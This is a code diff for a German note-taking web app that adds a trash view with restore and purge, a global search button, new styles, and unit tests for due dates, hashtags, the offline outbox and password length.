@@ -1293,32 +1313,25 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Search Input */}
|
{/* Opens the global full-text search, which also finds the content of every bullet */}
|
||||||
<div className="relative">
|
{onOpenSearch && (
|
||||||
<Search className="w-3.5 h-3.5 text-faint absolute left-2.5 top-1/2 -translate-y-1/2" />
|
<button
|
||||||
<input
|
type="button"
|
||||||
type="text"
|
onClick={onOpenSearch}
|
||||||
value={searchQuery}
|
className="input-field w-full h-11 sm:h-7 px-2.5 flex items-center gap-2 text-xs text-faint hover:text-main cursor-pointer"
|
||||||
onChange={(e) => setSearchQuery(e.target.value)}
|
title="Globale Suche (Strg+K / ⌘K oder /)"
|
||||||
placeholder="Notizen oder #Tags suchen…"
|
>
|
||||||
className="input-field w-full pl-8 pr-6 py-1 text-xs"
|
<Search className="w-3.5 h-3.5 shrink-0" />
|
||||||
/>
|
<span className="flex-1 text-left truncate">Notizen durchsuchen…</span>
|
||||||
{searchQuery && (
|
<span className="hidden sm:inline font-mono text-[10px]">⌘K</span>
|
||||||
<button
|
</button>
|
||||||
type="button"
|
)}
|
||||||
onClick={() => setSearchQuery('')}
|
|
||||||
className="absolute right-2 top-1/2 -translate-y-1/2 text-faint hover:text-main"
|
|
||||||
>
|
|
||||||
<X className="w-3.5 h-3.5" />
|
|
||||||
</button>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
{/* Scrollable Navigation Tree */}
|
{/* Scrollable Navigation Tree */}
|
||||||
<div className="flex-1 overflow-y-auto p-2 space-y-3">
|
<div className="flex-1 overflow-y-auto p-2 space-y-3">
|
||||||
{/* Pinned Notes */}
|
{/* Pinned Notes */}
|
||||||
{pinnedDocs.length > 0 && !searchQuery && (
|
{pinnedDocs.length > 0 && (
|
||||||
<div>
|
<div>
|
||||||
<div className="px-2 mb-1 flex items-center gap-1 text-[10px] font-bold uppercase tracking-wider text-faint">
|
<div className="px-2 mb-1 flex items-center gap-1 text-[10px] font-bold uppercase tracking-wider text-faint">
|
||||||
<Pin className="w-3 h-3 text-status-warn" />
|
<Pin className="w-3 h-3 text-status-warn" />
|
||||||
@@ -1470,6 +1483,23 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
{/* Trash at the bottom of the tree */}
|
||||||
|
<div className="p-2 border-t border-border shrink-0">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={openTrash}
|
||||||
|
className={`w-full flex items-center gap-2 px-2 h-11 sm:h-8 rounded-btn text-xs border transition-colors cursor-pointer ${
|
||||||
|
subView === 'trash'
|
||||||
|
? 'bg-panel-elevated text-main font-semibold border-border/80'
|
||||||
|
: 'border-transparent text-muted hover:text-main hover:bg-panel-elevated'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
<Trash2 className="w-3.5 h-3.5" />
|
||||||
|
<span className="flex-1 text-left">Papierkorb</span>
|
||||||
|
<CountBadge count={trash.length} />
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
</aside>
|
</aside>
|
||||||
|
|
||||||
{/* RIGHT DETAIL AREA (STRICTLY ISOLATED BY KEY) */}
|
{/* RIGHT DETAIL AREA (STRICTLY ISOLATED BY KEY) */}
|
||||||
@@ -1478,9 +1508,21 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
subView !== 'editor' || mobileShowDetail || isSidebarCollapsed ? 'flex' : 'hidden lg:flex'
|
subView !== 'editor' || mobileShowDetail || isSidebarCollapsed ? 'flex' : 'hidden lg:flex'
|
||||||
} flex-1 flex-col min-w-0 h-full overflow-hidden bg-canvas`}
|
} flex-1 flex-col min-w-0 h-full overflow-hidden bg-canvas`}
|
||||||
>
|
>
|
||||||
{subView === 'editor' && selectedDocId ? (
|
{subView === 'trash' ? (
|
||||||
|
<TrashView
|
||||||
|
items={trash}
|
||||||
|
onOpen={handleOpenTrashedDoc}
|
||||||
|
onRestore={handleRestoreDocument}
|
||||||
|
onPurge={handlePurgeDocument}
|
||||||
|
onEmpty={handleEmptyTrash}
|
||||||
|
onBackMobile={() => {
|
||||||
|
setSubView('editor');
|
||||||
|
setMobileShowDetail(false);
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
) : subView === 'editor' && selectedDocId ? (
|
||||||
<DocumentEditor
|
<DocumentEditor
|
||||||
key={selectedDocId}
|
key={`${selectedDocId}:${editorNonce}`}
|
||||||
docId={selectedDocId}
|
docId={selectedDocId}
|
||||||
currentUser={currentUser}
|
currentUser={currentUser}
|
||||||
initialDoc={selectedDocObj}
|
initialDoc={selectedDocObj}
|
||||||
@@ -1489,9 +1531,11 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
initialFocusedBlockId={targetBlockId}
|
initialFocusedBlockId={targetBlockId}
|
||||||
onDocMetadataChange={handleDocMetadataChange}
|
onDocMetadataChange={handleDocMetadataChange}
|
||||||
onDeleteDoc={handleDeleteDocument}
|
onDeleteDoc={handleDeleteDocument}
|
||||||
|
onRestoreDoc={handleRestoreDocument}
|
||||||
onOpenShareModal={openDocShareModal}
|
onOpenShareModal={openDocShareModal}
|
||||||
onSelectTag={handleSelectTag}
|
onSelectTag={handleSelectTag}
|
||||||
onWikiLinkClick={handleWikiLinkClick}
|
onWikiLinkClick={handleWikiLinkClick}
|
||||||
|
onOpenDocBlock={handleJumpToDocBlock}
|
||||||
onBackMobile={() => setMobileShowDetail(false)}
|
onBackMobile={() => setMobileShowDetail(false)}
|
||||||
onOpenTask={onOpenTask}
|
onOpenTask={onOpenTask}
|
||||||
onSaveStatusChange={(status, err) => {
|
onSaveStatusChange={(status, err) => {
|
||||||
@@ -2198,55 +2242,22 @@ export const WorkspaceView: React.FC<WorkspaceViewProps> = ({
|
|||||||
|
|
||||||
{/* New Folder Popover (small & positioned near click, asks only for name & OK) */}
|
{/* New Folder Popover (small & positioned near click, asks only for name & OK) */}
|
||||||
{showNewFolderModal && (
|
{showNewFolderModal && (
|
||||||
<div
|
<FormSheet
|
||||||
className="fixed inset-0 z-50 bg-black/20"
|
title={newFolderParentPath ? `Unterordner in "${newFolderParentPath}"` : 'Neuer Ordner'}
|
||||||
onClick={() => setShowNewFolderModal(false)}
|
icon={<FolderPlus className="w-4 h-4 text-accent" />}
|
||||||
|
onClose={() => setShowNewFolderModal(false)}
|
||||||
|
onSubmit={handleCreateFolderSubmit}
|
||||||
|
anchor={newFolderCoords}
|
||||||
>
|
>
|
||||||
<form
|
<input
|
||||||
onSubmit={handleCreateFolderSubmit}
|
type="text"
|
||||||
onClick={(e) => e.stopPropagation()}
|
autoFocus
|
||||||
style={
|
value={newFolderName}
|
||||||
newFolderCoords
|
onChange={(e) => setNewFolderName(e.target.value)}
|
||||||
? { top: `${newFolderCoords.y}px`, left: `${newFolderCoords.x}px` }
|
placeholder="Ordnername"
|
||||||
: undefined
|
className="input-field w-full h-11 sm:h-8 px-2.5 text-base sm:text-xs"
|
||||||
}
|
/>
|
||||||
className="fixed w-64 bg-panel border border-border rounded-card p-3 shadow-lg space-y-2.5 z-50 text-xs"
|
</FormSheet>
|
||||||
>
|
|
||||||
<div className="font-semibold text-main text-xs flex items-center justify-between">
|
|
||||||
<span className="truncate">{newFolderParentPath ? `Unterordner in "${newFolderParentPath}"` : 'Neuer Ordner'}</span>
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
onClick={() => setShowNewFolderModal(false)}
|
|
||||||
className="text-faint hover:text-main cursor-pointer"
|
|
||||||
>
|
|
||||||
<X className="w-3.5 h-3.5" />
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
autoFocus
|
|
||||||
value={newFolderName}
|
|
||||||
onChange={(e) => setNewFolderName(e.target.value)}
|
|
||||||
placeholder="Ordnername"
|
|
||||||
className="input-field w-full px-2 py-1 text-xs"
|
|
||||||
/>
|
|
||||||
<div className="flex justify-end gap-1.5 pt-1">
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
onClick={() => setShowNewFolderModal(false)}
|
|
||||||
className="btn-action px-2.5 py-1 text-xs"
|
|
||||||
>
|
|
||||||
Abbrechen
|
|
||||||
</button>
|
|
||||||
<button
|
|
||||||
type="submit"
|
|
||||||
className="btn-primary px-3 py-1 text-xs font-semibold"
|
|
||||||
>
|
|
||||||
OK
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</form>
|
|
||||||
</div>
|
|
||||||
)}
|
)}
|
||||||
|
|
||||||
{/* Unified Sharing Modal (Strictly Read-Only for Docs and Folders) */}
|
{/* Unified Sharing Modal (Strictly Read-Only for Docs and Folders) */}
|
||||||
|
|||||||
@@ -0,0 +1,30 @@
|
|||||||
|
import { describe, it, expect, vi } from 'vitest';
|
||||||
|
import { render, screen, fireEvent, act } from '@testing-library/react';
|
||||||
|
import { TrashView } from '../TrashView';
|
||||||
|
|
||||||
|
const items = [
|
||||||
|
{ id: 'doc_1', title: 'Urlaub', icon: '🏔️', folderPath: 'Privat', deletedAt: '2026-10-29T08:00:00Z', isOwner: true },
|
||||||
|
];
|
||||||
|
|
||||||
|
describe('TrashView', () => {
|
||||||
|
it('deletes for good only on the second tap', async () => {
|
||||||
|
const onPurge = vi.fn(async () => {});
|
||||||
|
render(<TrashView items={items} onOpen={vi.fn()} onRestore={vi.fn(async () => {})} onPurge={onPurge} onEmpty={vi.fn(async () => {})} onBackMobile={vi.fn()} />);
|
||||||
|
fireEvent.click(screen.getByText('Endgültig löschen'));
|
||||||
|
expect(onPurge).not.toHaveBeenCalled();
|
||||||
|
await act(async () => {
|
||||||
|
fireEvent.click(screen.getByText('Wirklich löschen?'));
|
||||||
|
});
|
||||||
|
expect(onPurge).toHaveBeenCalledWith('doc_1');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('restores with one tap and shows the original folder', async () => {
|
||||||
|
const onRestore = vi.fn(async () => {});
|
||||||
|
render(<TrashView items={items} onOpen={vi.fn()} onRestore={onRestore} onPurge={vi.fn(async () => {})} onEmpty={vi.fn(async () => {})} onBackMobile={vi.fn()} />);
|
||||||
|
expect(screen.getByText('Privat')).toBeTruthy();
|
||||||
|
await act(async () => {
|
||||||
|
fireEvent.click(screen.getByText('Wiederherstellen'));
|
||||||
|
});
|
||||||
|
expect(onRestore).toHaveBeenCalledWith('doc_1');
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -13,6 +13,8 @@
|
|||||||
@import './themes/theme-light.css';
|
@import './themes/theme-light.css';
|
||||||
@import './themes/theme-high-contrast.css';
|
@import './themes/theme-high-contrast.css';
|
||||||
@import './themes/theme-soft.css';
|
@import './themes/theme-soft.css';
|
||||||
|
@import './themes/theme-polarized.css';
|
||||||
|
@import './themes/theme-suri.css';
|
||||||
|
|
||||||
@tailwind base;
|
@tailwind base;
|
||||||
@tailwind components;
|
@tailwind components;
|
||||||
@@ -78,6 +80,12 @@ body {
|
|||||||
border-radius: var(--radius-card);
|
border-radius: var(--radius-card);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* An explicit rounded-full (round icon buttons, avatars) wins over the theme radius above */
|
||||||
|
.bg-panel.border.rounded-full,
|
||||||
|
.bg-canvas.border.rounded-full {
|
||||||
|
border-radius: 9999px;
|
||||||
|
}
|
||||||
|
|
||||||
/* Quick-Capture-Blase im Header (immer vollständig abgerundet) */
|
/* Quick-Capture-Blase im Header (immer vollständig abgerundet) */
|
||||||
.capture-pill,
|
.capture-pill,
|
||||||
.capture-pill.bg-panel.border {
|
.capture-pill.bg-panel.border {
|
||||||
@@ -293,6 +301,39 @@ body {
|
|||||||
font-weight: 500;
|
font-weight: 500;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* Round counter, rendered by <CountBadge> (Doku/ui-patterns.md). Accent = needs attention (nav bar),
|
||||||
|
muted = plain amount (tabs, lists). Corner = notification badge on the top right of a relative parent. */
|
||||||
|
.count-badge {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
justify-content: center;
|
||||||
|
min-width: 16px;
|
||||||
|
height: 16px;
|
||||||
|
padding: 0 0.25rem;
|
||||||
|
border-radius: 9999px;
|
||||||
|
font-size: 9px;
|
||||||
|
font-weight: 700;
|
||||||
|
line-height: 1;
|
||||||
|
font-variant-numeric: tabular-nums;
|
||||||
|
pointer-events: none;
|
||||||
|
}
|
||||||
|
.count-badge-accent {
|
||||||
|
background-color: var(--accent-primary);
|
||||||
|
color: var(--text-on-accent);
|
||||||
|
}
|
||||||
|
.count-badge-muted {
|
||||||
|
background-color: var(--text-muted);
|
||||||
|
color: var(--bg-panel);
|
||||||
|
}
|
||||||
|
.count-badge-corner {
|
||||||
|
position: absolute;
|
||||||
|
top: -0.5rem;
|
||||||
|
right: -0.5rem;
|
||||||
|
z-index: 1;
|
||||||
|
/* ring in the page colour keeps the badge readable on top of borders */
|
||||||
|
box-shadow: 0 0 0 2px var(--bg-app);
|
||||||
|
}
|
||||||
|
|
||||||
.badge-ok {
|
.badge-ok {
|
||||||
display: inline-flex;
|
display: inline-flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
@@ -428,3 +469,39 @@ body {
|
|||||||
color: #f97316;
|
color: #f97316;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* ==========================================================================
|
||||||
|
EMOJI PICKER (emoji-picker-react Integration & Mobile Touch Tuning)
|
||||||
|
========================================================================== */
|
||||||
|
|
||||||
|
.mindsift-emoji-picker .EmojiPickerReact {
|
||||||
|
border: none !important;
|
||||||
|
font-family: inherit !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 639px) {
|
||||||
|
/* Prevent iOS auto-zoom on input focus */
|
||||||
|
.mindsift-emoji-picker .EmojiPickerReact input.epr-search-input {
|
||||||
|
font-size: 1rem !important;
|
||||||
|
min-height: 44px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Min 44px touch targets on mobile */
|
||||||
|
.mindsift-emoji-picker .EmojiPickerReact button.epr-emoji {
|
||||||
|
min-width: 44px !important;
|
||||||
|
min-height: 44px !important;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Category icons are sprite cut-outs: they must keep the library's square size (stretching them showed
|
||||||
|
two icons and an oval highlight). More breathing room comes from the nav row instead. */
|
||||||
|
.mindsift-emoji-picker .EmojiPickerReact .epr-category-nav {
|
||||||
|
padding-top: 6px !important;
|
||||||
|
padding-bottom: 6px !important;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Read-only sections (e.g. server settings in the demo): everything inside looks switched off */
|
||||||
|
fieldset:disabled :is(button, input, select, textarea) {
|
||||||
|
opacity: 0.5;
|
||||||
|
cursor: not-allowed;
|
||||||
|
}
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import { formatDue, isOverdue, isDueToday, joinDue, splitDue } from '../due';
|
||||||
|
|
||||||
|
const now = new Date(2026, 9, 29, 14, 0); // Thu 29.10.2026, 14:00 local
|
||||||
|
|
||||||
|
describe('due dates', () => {
|
||||||
|
it('splits and joins date and time', () => {
|
||||||
|
expect(splitDue('2026-10-30T14:30')).toEqual({ date: '2026-10-30', time: '14:30' });
|
||||||
|
expect(splitDue('2026-10-30')).toEqual({ date: '2026-10-30', time: '' });
|
||||||
|
expect(joinDue('2026-10-30', '09:15')).toBe('2026-10-30T09:15');
|
||||||
|
expect(joinDue('2026-10-30', '')).toBe('2026-10-30');
|
||||||
|
expect(joinDue('', '09:15')).toBe('');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('formats relative to today', () => {
|
||||||
|
expect(formatDue('2026-10-29T14:30', now)).toBe('Heute, 14:30');
|
||||||
|
expect(formatDue('2026-10-30', now)).toBe('Morgen');
|
||||||
|
expect(formatDue('2026-10-28', now)).toBe('Gestern');
|
||||||
|
expect(formatDue('2026-11-06T08:00', now)).toBe('Fr., 06.11., 08:00');
|
||||||
|
expect(formatDue('2027-01-02', now)).toBe('02.01.2027');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('knows overdue to the minute', () => {
|
||||||
|
expect(isOverdue('2026-10-29T13:59', now)).toBe(true);
|
||||||
|
expect(isOverdue('2026-10-29T14:30', now)).toBe(false);
|
||||||
|
expect(isOverdue('2026-10-29', now)).toBe(false);
|
||||||
|
expect(isOverdue('2026-10-28', now)).toBe(true);
|
||||||
|
expect(isDueToday('2026-10-29T08:00', now)).toBe(true);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import { extractHashtags } from '../hashtags';
|
||||||
|
|
||||||
|
describe('extractHashtags', () => {
|
||||||
|
it('finds tags at the start, after spaces and after "("', () => {
|
||||||
|
expect(extractHashtags('#start mitten #zwei (#drei)')).toEqual(['start', 'zwei', 'drei']);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('ignores URL anchors and words like C#', () => {
|
||||||
|
expect(extractHashtags('example.com/blog#ueberschrift')).toEqual([]);
|
||||||
|
expect(extractHashtags('https://x.de/#anker und #echt, C# nicht')).toEqual(['echt']);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
import { describe, it, expect, beforeEach } from 'vitest';
|
||||||
|
import { enqueue, flushOutbox, getOutbox, isCacheablePath } from '../offline';
|
||||||
|
|
||||||
|
const res = (status: number) => ({ status, ok: status >= 200 && status < 300 }) as Response;
|
||||||
|
|
||||||
|
describe('outbox', () => {
|
||||||
|
beforeEach(() => localStorage.clear());
|
||||||
|
|
||||||
|
it('keeps only the last state of repeated toggles', () => {
|
||||||
|
enqueue('PATCH', '/api/v1/thoughts/t1', { isCompleted: true });
|
||||||
|
enqueue('POST', '/api/v1/inbox', { content: 'Milch' });
|
||||||
|
enqueue('PATCH', '/api/v1/thoughts/t1', { isCompleted: false });
|
||||||
|
const box = getOutbox();
|
||||||
|
expect(box).toHaveLength(2);
|
||||||
|
expect(box[0].body).toEqual({ isCompleted: false });
|
||||||
|
});
|
||||||
|
|
||||||
|
it('takes over thoughts captured offline by older versions', () => {
|
||||||
|
localStorage.setItem(
|
||||||
|
'mindsift_offline_capture_queue',
|
||||||
|
JSON.stringify([{ id: 'th_offline_1', content: 'Alt', priority: 'normal', source: 'manual', createdAt: '2026-10-29T08:00:00Z' }])
|
||||||
|
);
|
||||||
|
const box = getOutbox();
|
||||||
|
expect(box).toHaveLength(1);
|
||||||
|
expect(box[0].path).toBe('/api/v1/inbox');
|
||||||
|
expect(localStorage.getItem('mindsift_offline_capture_queue')).toBeNull();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('sends in order, drops rejected entries and stops while offline', async () => {
|
||||||
|
enqueue('POST', '/api/v1/inbox', { content: 'a' });
|
||||||
|
enqueue('PATCH', '/api/v1/lists/l/items/i', { isCompleted: true });
|
||||||
|
enqueue('POST', '/api/v1/inbox', { content: 'c' });
|
||||||
|
const answers = [res(201), res(404)];
|
||||||
|
const synced = await flushOutbox(async () => {
|
||||||
|
const next = answers.shift();
|
||||||
|
if (!next) throw new TypeError('offline');
|
||||||
|
return next;
|
||||||
|
});
|
||||||
|
expect(synced).toBe(1);
|
||||||
|
expect(getOutbox().map((e) => e.body.content)).toEqual(['c']);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('does not cache streams, note sync or downloads', () => {
|
||||||
|
expect(isCacheablePath('/api/v1/thoughts?status=all')).toBe(true);
|
||||||
|
expect(isCacheablePath('/api/v1/events')).toBe(false);
|
||||||
|
expect(isCacheablePath('/api/v1/docs/d1/changes?since=3')).toBe(false);
|
||||||
|
expect(isCacheablePath('/api/v1/export/markdown')).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
import { describe, it, expect } from 'vitest';
|
||||||
|
import { passwordProblem } from '../password';
|
||||||
|
|
||||||
|
describe('passwordProblem (same rule as the server)', () => {
|
||||||
|
it('needs 8 characters, counted as characters', () => {
|
||||||
|
expect(passwordProblem('kurz')).toMatch(/mindestens 8 Zeichen/);
|
||||||
|
expect(passwordProblem(' ')).toMatch(/mindestens 8 Zeichen/);
|
||||||
|
expect(passwordProblem('geheim12')).toBeNull();
|
||||||
|
expect(passwordProblem('äöüßäöüß')).toBeNull();
|
||||||
|
});
|
||||||
|
});
|
||||||